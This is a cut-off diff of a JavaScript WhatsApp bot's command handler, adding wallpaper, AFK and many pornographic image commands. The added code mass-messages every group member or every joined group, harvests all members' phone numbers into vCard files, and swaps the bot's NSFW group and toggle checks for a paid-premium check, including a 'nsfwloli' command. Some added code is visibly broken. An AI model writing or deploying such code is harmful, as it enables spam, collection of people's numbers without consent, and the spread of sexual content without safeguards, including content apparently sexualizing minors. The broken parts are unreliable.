-XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/car.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break -case 'couplepic':case 'couplepicture': -XeonStickWait() +case 'couplepic':case 'ppcp':case 'couplepicture': +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/ppcouple.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'profilepic': case 'profilepicture': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/profile.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'pubg': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/pubg.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'rose': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/rose.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'ryujin': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/ryujin.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'ulzzangboy': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/ulzzangboy.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'ulzzanggirl': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/ulzzanggirl.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'wallml': case 'wallpaperml':case 'mobilelegend': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/wallml.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'wallpaperphone': case 'wallphone': -XeonStickWait() +reply(mess.wait) var notnot = JSON.parse(fs.readFileSync('./HostMedia/randompics/wallhp.json')) var hasil = pickRandom(notnot) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: hasil.url } }, { quoted: m }) break case 'animewallpaper2': case 'animewall2': { - if (!args.join(" ")) return replygcxeon("What wallpaper are you looking for??") +if (!args.join(" ")) return replygcxeon("What wallpaper are you looking for??") let { wallpaper } = require('./lib/scraperW') - anu = await wallpaper(args) - result = anu[Math.floor(Math.random() * anu.length)] - XeonBotInc.sendMessage(m.chat, { caption: `Title : ${result.title}\nCategory : ${result.type}\nDetail : ${result.source}\nMedia Url : ${result.image[2] || result.image[1] || result.image[0]}`, image: { url: result.image[0] } } , { quoted: m }) +anu = await wallpaper(args) +result = anu[Math.floor(Math.random() * anu.length)] +XeonBotInc.sendMessage(m.chat, { caption: `Title : ${result.title}\nCategory : ${result.type}\nDetail : ${result.source}\nMedia Url : ${result.image[2] || result.image[1] || result.image[0]}`, image: { url: result.image[0] } } , { quoted: m }) } break + +case 'afk': { +if (!m.isGroup) return reply(mess.only.group) +if (!text) return replygcxeon(`Example ${prefix+command} want to sleep`) +const rafelgf = fs.readFileSync(`./media/thumb5.mp4`) +let user = global.db.users[m.sender] +user.afkTime = + new Date +user.afkReason = args.join(" ") +let syacption = (`${m.pushName} Telah MelMelakukan AFK\nAlasan : ${args.join(" ") ? args.join(" ") : ''}`) +XeonBotInc.sendMessage(m.chat, { caption: syacption, video: rafelgf, gifPlayback: true }, { quoted: m }) +} +break case 'animewall': case 'animewallpaper': const { AnimeWallpaper } =require("anime-wallpaper") if(!q) return replygcxeon('What wallpaper do you want?') -XeonStickWait() +reply(mess.wait) const wall = new AnimeWallpaper() const pages = [1,2,3,4] const random=pages[Math.floor(Math.random() * pages.length)] @@ -4967,13 +16081,13 @@ const wall = new AnimeWallpaper() .catch(() => null) const i = Math.floor(Math.random() * wallpaper.length) await XeonBotInc.sendMessage(m.chat, { caption: `*Query :* ${q}`, image: {url:wallpaper[i].image} }, { quoted: m} ).catch(err => { - return('Error!') - }) +return('Error!') +}) //XeonBotInc.sendMessage(m.chat,{image:{url:wallpaper[i].image},caption:`*Query :* ${q}`}) break case 'akira': case 'akiyama': case 'ana': case 'art': case 'asuna': case 'ayuzawa': case 'boruto': case 'bts': case 'chiho': case 'chitoge': case 'cosplay': case 'cosplayloli': case 'cosplaysagiri': case 'cyber': case 'deidara': case 'doraemon': case 'elaina': case 'emilia': case 'erza': case 'exo': case 'gamewallpaper': case 'gremory': case 'hacker': case 'hestia': case 'hinata': case 'husbu': case 'inori': case 'islamic': case 'isuzu': case 'itachi': case 'itori': case 'jennie': case 'jiso': case 'justina': case 'kaga': case 'kagura': case 'kakasih': case 'kaori': case 'cartoon': case 'shortquote': case 'keneki': case 'kotori': case 'kurumi': case 'lisa': case 'loli': case 'madara': case 'megumin': case 'mikasa': case 'mikey': case 'miku': case 'minato': case 'mountain': case 'naruto': case 'neko': case 'neko2': case 'nekonime': case 'nezuko': case 'onepiece': case 'pentol': case 'pokemon': case 'programming': case 'randomnime': case 'randomnime2': case 'rize': case 'rose': case 'sagiri': case 'sakura': case 'sasuke': case 'satanic': case 'shina': case 'shinka': case 'shinomiya': case 'shizuka': case 'shota': case 'space': case 'technology': case 'tejina': case 'toukachan': case 'tsunade': case 'waifu': case 'yotsuba': case 'yuki': case 'yulibocil': case 'yumeko':{ - -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) let heyy if (/akira/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/akira.json') if (/akiyama/.test(command)) heyy = await fetchJson('https://raw.githubusercontent.com/DGXeon/XeonMedia/master/akiyama.json') @@ -5103,7 +16217,7 @@ if (err) _syntax = err + "\n\n" replygcxeon(util.format(_syntax + _err)) } break -case 'pushcontact': { +case 'pushkontak': { if (!XeonTheCreator) return XeonStickOwner() if (!m.isGroup) return replygcxeon(`The feature works only in grup`) if (!text) return replygcxeon(`text?`) @@ -5115,10 +16229,10 @@ case 'pushcontact': { replygcxeon(`Done`) } break -case "pushcontactv2":{ +case "pushkontakv2":{ if (!XeonTheCreator) return XeonStickOwner() if (!q) return replygcxeon(`Incorrect Usage Please Use Command Like This\n${prefix+command} idgc|text`) -XeonStickWait() +reply(mess.wait) const metadata2 = await XeonBotInc.groupMetadata(q.split("|")[0]) const halss = metadata2.participants for (let mem of halss) { @@ -5127,6 +16241,159 @@ await sleep(5000) } replygcxeon(`Success`) } +break + +case "pushkontakv3": +if (!XeonTheCreator) return reply(`Khusus Owner Aja`) +if (!text) return reply(`Penggunaan Salah Silahkan Gunakan Command Seperti Ini\n${prefix+command} idgroup|jeda|teks\nUntuk Liat Id Group Silahkan Ketik .idgroup`) +await reply("Otw Boskuuu") +const groupMetadataa = !isGroup? await XeonBotInc.groupMetadata(`${q.split("|")[0]}`).catch(e => {}) : "" +const participantss = !isGroup? await groupMetadataa.participants : "" +const halls = await participantss.filter(v => v.id.endsWith('.net')).map(v => v.id) +global.tekspushkonv3 = q.split("|")[2] +for (let mem of halls) { +if (/image/.test(mime)) { +media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +memk = await uptotelegra(media) +await XeonBotInc.sendMessage(men, { image: { url: mem }, caption: global.tekspushkonv3 }) +await sleep(q.split("|")[1]) +} else { +await XeonBotInc.sendMessage(mem, { text: global.tekspushkonv3 }) +await sleep(q.split("|")[1]) +} +} +reply("Succes Boss!") +break +case "pushkontakv4": +if (!XeonTheCreator) return reply(`Khusus Owner Aja`) +if (!m.isGroup) return reply(mess.only.private) +if (!text) return reply(`Penggunaan Salah Silahkan Gunakan Command Seperti Ini\n${prefix+command} jeda|teks`) +await reply("Otw Boskuuu") +const halsss = await participants.filter(v => v.id.endsWith('.net')).map(v => v.id) +global.tekspushkonv4 = text.split("|")[1] +for (let men of halsss) { +if (/image/.test(mime)) { +media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +mem = await uptotelegra(media) +await XeonBotInc.sendMessage(men, { image: { url: mem }, caption: global.tekspushkonv4 }) +await sleep(text.split("|")[0]) +} else { +await XeonBotInc.sendMessage(men, { text: global.tekspushkonv4 }) +await sleep(text.split("|")[0]) +} +} +reply("Succes Boss!") +break + +case 'savekontak': case 'svkontak': +if (!XeonTheCreator) return reply(`Khusus Owner Ajah`) +if (!m.isGroup) return m.reply(`Fitur Ini Khusus Group`) +let cmiggc = await XeonBotInc.groupMetadata(m.chat) +let orgiggc = participants.map(a => a.id) +vcard = '' +noPort = 0 +for (let a of cmiggc.participants) { + vcard += `BEGIN:VCARD\nVERSION:3.0\nFN:[${noPort++}] +${a.id.split("@")[0]}\nTEL;type=CELL;type=VOICE;waid=${a.id.split("@")[0]}:+${a.id.split("@")[0]}\nEND:VCARD\n` +} // (?); mengimpor kontak seluruh member - save +let nmfilect = './contacts.vcf' +reply('*Mengimpor '+cmiggc.participants.length+' kontak..*') +fs.writeFileSync(nmfilect, vcard.trim()) +await sleep(2000) +XeonBotInc.sendMessage(m.chat, { + document: fs.readFileSync(nmfilect), mimetype: 'text/vcard', fileName: 'Contact.vcf', caption: 'GROUP: *'+cmiggc.subject+'*\nMEMBER: *'+cmiggc.participants.length+'*' +}, {ephemeralExpiration: 86400, quoted: m}) +fs.unlinkSync(nmfilect) +break + +case "cekidgc": { +if (!isPrem) return replyprem(mess.premium) +let getGroups = await XeonBotInc.groupFetchAllParticipating() +let groups = Object.entries(getGroups).slice(0).map((entry) => entry[1]) +let anu = groups.map((v) => v.id) +let teks = `โฌฃ *LIST GROUP DI BAWAH*\n\nTotal Group : ${anu.length} Group\n\n` +for (let x of anu) { +let metadata2 = await XeonBotInc.groupMetadata(x) +teks += `โ—‰ Nama : ${metadata2.subject}\nโ—‰ ID : ${metadata2.id}\nโ—‰ Member : ${metadata2.participants.length}\n\nโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€\n\n` +} +reply(teks + `Untuk Penggunaan Silahkan Ketik Command ${prefix}pushkontakv3 id|teks\n\nSebelum Menggunakan Silahkan Salin Dulu Id Group Nya Di Atas`) +} +break +case "savekontakv2": { +if (!XeonTheCreator) return reply(`Khusus Owner Aja`) +if (!m.isGroup) return reply(mess.only.private) +if (!text) return reply(`Penggunaan Salah Silahkan Gunakan Command Seperti Ini\n${prefix+command} idgroup\nUntuk Liat Id Group Silahkan Ketik .cekidgc`) +await reply("_Wแด€ษชแด›ษชษดษข ษชษด แด˜ส€แดษขส€แด‡ss !!_") +const groupMetadataa = !isGroup? await XeonBotInc.groupMetadata(`${text}`).catch(e => {}) : "" +const participants = !isGroup? await groupMetadataa.participants : "" +const halls = await participants.filter(v => v.id.endsWith('.net')).map(v => v.id) +for (let mem of halls) { +if (isContacts) return +contacts.push(mem) +fs.writeFileSync('./all/database/contacts.json', JSON.stringify(contacts)) +} +try { +const uniqueContacts = [...new Set(contacts)]; +const vcardContent = uniqueContacts.map((contact, index) => { +const vcard = [ +"BEGIN:VCARD", +"VERSION:3.0", +`FN:WA[${createSerial(2)}] ${contact.split("@")[0]}`, +`TEL;type=CELL;type=VOICE;waid=${contact.split("@")[0]}:+${contact.split("@")[0]}`, +"END:VCARD", +"", ].join("\n"); +return vcard; }).join(""); +fs.writeFileSync("./all/database/contacts.vcf", vcardContent, "utf8"); +} catch (err) { +reply(util.format(err)) +} finally { +await XeonBotInc.sendMessage(from, { document: fs.readFileSync("./data/database/contacts.vcf"), fileName: "contacts.vcf", caption: "Sukses Tinggal Save Ya Kakak", mimetype: "text/vcard", }, { quoted: m }) +contacts.splice(0, contacts.length) +fs.writeFileSync("./data/database/contacts.json", JSON.stringify(contacts)) +} +} +break + +case "jpm": case "jpm2":{ +if (!XeonTheCreator) return reply(`Khusus Owner Aja`) +if (!text) return reply(`*Penggunaan Salah Silahkan Gunakan Seperti Ini*\n${prefix+command} teks|jeda\n\nReply Gambar Untuk Mengirim Gambar Ke Semua Group\nUntuk Jeda Itu Delay Jadi Nominal Jeda Itu 1000 = 1 detik`) +await reply("_Wait Tuan Kuโœ…_") +let getGroups = await XeonBotInc.groupFetchAllParticipating() +let groups = Object.entries(getGroups).slice(0).map((entry) => entry[1]) +let anu = groups.map((v) => v.id) +for (let xnxx of anu) { +let metadat72 = await XeonBotInc.groupMetadata(xnxx) +let participanh = await metadat72.participants +if (/image/.test(mime)) { +media = await XeonBotInc.downloadAndSaveMediaMessage(quoted) +mem = await uptotelegra(media) +await XeonBotInc.sendMessage(xnxx, { image: { url: mem }, caption: text.split('|')[0], mentions: participanh.map(a => a.id) }) +await sleep(text.split('|')[1]) +} else { +await XeonBotInc.sendMessage(xnxx, { text: text.split('|')[0], mentions: participanh.map(a => a.id) }) +await sleep(text.split('|')[1]) +}} +reply("*SUCCESFUL TUAN ONWERโœ…*") +} +break + +case 'sendkontak': case 'kontak': +if (!XeonTheCreator) return reply(`Khusus Owner Aja`) +if (!m.isGroup) return m.reply(`Khusus Group`) +if (!m.mentionedJid[0]) return reply('Ex; .kontak @tag|nama') +let snContact = { + displayName: "Contact", contacts: [{displayName: snTak, vcard: "BEGIN:VCARD\nVERSION:3.0\nN:;"+snTak+";;;\nFN:"+snTak+"\nitem1.TEL;waid="+m.mentionedJid[0].split('@')[0]+":"+m.mentionedJid[0].split('@')[0]+"\nitem1.X-ABLabel:Ponsel\nEND:VCARD"}] +} // (?); send kontak +XeonBotInc.sendMessage(m.chat, {contacts: snContact}, {ephemeralExpiration: 86400}) +break + +case 'getcontact': case 'getkontak': +if (!XeonTheCreator) return reply(`Khusus Owner Aja`) +if (!m.isGroup) return m.reply(`Fitur Ini Khusus Group`) +huhuhs = await XeonBotInc.sendMessage(m.chat, { + text: `Grup; *${groupMetadata.subject}*\nTotal peserta; *${participants.length}*` +}, {quoted: m, ephemeralExpiration: 86400}) +await sleep(1000) // (?); mengirim kontak seluruh member +XeonBotInc.sendContact(m.chat, participants.map(a => a.id), huhuhs) break case 'id':{ @@ -5156,10 +16423,8 @@ break } break case 'hentaivid2': { -if (!m.isGroup) return XeonStickGroup() - -if (!AntiNsfw) return replygxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) sbe = await hentaivid() cejd = sbe[Math.floor(Math.random(), sbe.length)] XeonBotInc.sendMessage(m.chat, { video: { url: cejd.video_1 }, @@ -5173,272 +16438,240 @@ caption: `โญ” Title : ${cejd.title} } break case 'hentaivid': case 'hentaivideo': { - if (!m.isGroup) return XeonStickGroup() -if (!AntiNsfw) return replygcxeon(mess.nsfw) - XeonStickWait() - const { hentai } = require('./lib/scraper.js') - anu = await hentai() - result912 = anu[Math.floor(Math.random(), anu.length)] - XeonBotInc.sendMessage(m.chat, { video: { url: result912.video_1 }, caption: `${themeemoji} Title : ${result912.title}\n${themeemoji} Category : ${result912.category}\n${themeemoji} Mimetype : ${result912.type}\n${themeemoji} Views : ${result912.views_count}\n${themeemoji} Shares : ${result912.share_count}\n${themeemoji} Source : ${result912.link}\n${themeemoji} Media Url : ${result912.video_1}` }, { quoted: m }) + if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) +const { hentai } = require('./lib/scraper.js') +anu = await hentai() +result912 = anu[Math.floor(Math.random(), anu.length)] +XeonBotInc.sendMessage(m.chat, { video: { url: result912.video_1 }, caption: `${themeemoji} Title : ${result912.title}\n${themeemoji} Category : ${result912.category}\n${themeemoji} Mimetype : ${result912.type}\n${themeemoji} Views : ${result912.views_count}\n${themeemoji} Shares : ${result912.share_count}\n${themeemoji} Source : ${result912.link}\n${themeemoji} Media Url : ${result912.video_1}` }, { quoted: m }) } break case 'trap' : -if (!m.isGroup) return XeonStickGroup() -if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/nsfw/${command}`) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url:waifudd.data.url } }, { quoted: m }) break case 'hentai-neko' : case 'hneko' : -if (!m.isGroup) return XeonStickGroup() -if (!AntiNsfw) return replygcxeon(mess.nsfw) +if (!isPrem) return replyprem(mess.premium) waifudd = await axios.get(`https://waifu.pics/api/nsfw/neko`) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url:waifudd.data.url } }, { quoted: m }) break case 'hentai-waifu' : case 'nwaifu' : -if (!m.isGroup) return XeonStickGroup() -if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) waifudd = await axios.get(`https://waifu.pics/api/nsfw/waifu`) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url:waifudd.data.url } }, { quoted: m }) break case 'gasm': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/${command}`) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url:waifudd.data.url } }, { quoted: m }) break case 'milf': -if (!m.isGroup) return XeonStickGroup() -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/milf.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'animespank': -if (!m.isGroup) return XeonStickGroup() -if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) waifudd = await axios.get(`https://nekos.life/api/v2/img/spank`) - await XeonBotInc.sendMessage(m.chat, { caption: `Here you go!`, image: {url:waifudd.data.url} },{ quoted:m }).catch(err => { - return('Error!') - }) + await XeonBotInc.sendMessage(m.chat, { caption: `Ini dia!!`, image: {url:waifudd.data.url} },{ quoted:m }).catch(err => { +return('Error!') +}) break case 'ahegao': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/ahegao.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'ass': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/ass.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'bdsm': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/bdsm.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'blowjob': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/blowjob.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'cuckold': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/cuckold.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'cum': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/cum.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'eba': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/eba.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'ero': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/ero.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'femdom': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/femdom.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'foot': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/foot.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'gangbang': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/gangbang.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'glasses': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/glasses.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'hentai': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/hentai.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'jahy': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/jahy.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'manga': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/manga.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'masturbation': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/masturbation.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'neko-hentai': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/neko.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'neko-hentai2': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/neko2.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'nsfwloli': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/nsfwloli.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'orgy': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/orgy.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'panties': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/panties.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'pussy': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/pussy.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'tentacles': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/tentacles.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'thighs': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/thighs.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'yuri': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = JSON.parse(fs.readFileSync('./HostMedia/nsfw/yuri.json')) var xeonyresult = pickRandom(ahegaonsfw) XeonBotInc.sendMessage(m.chat, { caption: mess.success, image: { url: xeonyresult.url } }, { quoted: m }) break case 'zettai': -if (!m.isGroup) return XeonStickGroup() - if (!AntiNsfw) return replygcxeon(mess.nsfw) -XeonStickWait() +if (!isPrem) return replyprem(mess.premium) +reply(mess.wait) var ahegaonsfw = 